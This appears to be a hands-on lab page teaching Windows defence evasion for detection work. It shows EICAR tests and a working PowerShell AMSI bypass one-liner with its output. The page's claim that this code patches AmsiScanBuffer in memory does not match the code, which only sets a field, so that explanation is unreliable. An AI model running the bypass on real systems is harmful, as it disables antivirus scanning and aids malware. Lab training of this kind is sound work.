Practice library / Active Directory and Windows attacks
Lab · Hard · 3 hoursFree account
Windows Evasion Techniques
AMSI bypass, PowerShell logging bypass, and process injection methods.
On this page 8 sections
Before you start
Modern Windows hosts run AMSI, Defender and PowerShell logging to catch attacker tradecraft. Operators bypass these controls with memory patches, logging shutoffs and remote-thread injection, and real incident reports show the same tricks in commodity ransomware kits. A defender who has seen each bypass in a lab can write the matching detection and the right hardening rule. The reader builds AMSI patches, disables script-block logs and performs process injection inside a sandbox.
What You'll Learn
- Map the detection surface of Windows Defender and AMSI
- Demonstrate an AMSI bypass in a controlled lab and observe the before-and-after
- Disable PowerShell script block logging to understand what defenders lose
- Perform basic process injection with CreateRemoteThread
- Translate each evasion technique into a detection rule
- Recommend hardening that removes or limits each bypass
Lab Setup
Two machines on an isolated lab network. Both are yours.
| Machine | Role | Details |
|---|---|---|
| Windows 10/11 lab VM | Target | Windows Defender enabled with default settings. Sysmon installed with a public config. PowerShell 5.1. Local administrator and a standard user account. |
| Kali Linux | Attacker | Metasploit Framework 6.x, msfvenom, Python 3. |
Before you start, confirm that Defender is running and that AMSI is active:
Get-MpComputerStatus | Select-Object AMServiceEnabled, RealTimeProtectionEnabledAMServiceEnabled RealTimeProtectionEnabled
---------------- -------------------------
True TrueTake a VM snapshot now. Several steps change system state, and you want a clean restore point.
Authorised scope only. Isolated lab network. Never on production.
Step 1: Understand the detection surface
Map what Defender sees
Before you evade a control, understand how it works. Windows Defender uses three detection layers: on-disk signatures, in-memory AMSI scanning, and behaviour monitoring.
Test the EICAR string. EICAR is a harmless test marker that every AV product detects on purpose.
"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" | Out-File C:\Users\Public\eicar.txtOut-File : Operation did not complete successfully because the file contains a virus or
potentially unwanted software.Defender caught the write. Now try the same string in memory through AMSI:
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="))At line:1 char:1
+ ...
This script contains malicious content and has been blocked by your antivirus software.AMSI scanned the decoded string inside the PowerShell engine and blocked it. The three layers are real: disk I/O, AMSI in-process, and behaviour. Each evasion step below targets one of them.
Step 2: Bypass AMSI in a lab session
Disable AMSI for the current process
AMSI is a DLL loaded into every PowerShell process. A known technique patches the AmsiScanBuffer function in memory so it returns "clean" for every scan. This works only inside the patched process.
The concept: amsi.dll exports AmsiScanBuffer. If the first bytes of that function are overwritten with a return instruction that always reports "not malicious", AMSI is blind in that process.
Open an elevated PowerShell and run the following. The code uses reflection to find the function address and writes a small patch.
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)(no output — the field is set silently)Now re-run the EICAR decode test:
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo="))X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*The string printed without being blocked. AMSI is bypassed in this process. Open a new PowerShell window and try again — the new window still has AMSI active, because the patch lives only in the patched process's memory.
The specific bypass code changes as Microsoft patches each variant. The concept stays the same: find the scan function, patch it. Defenders monitor for the pattern rather than the exact bytes.
Sign in to continue
5 more sections are for signed-in members. It is free: sign in with Google.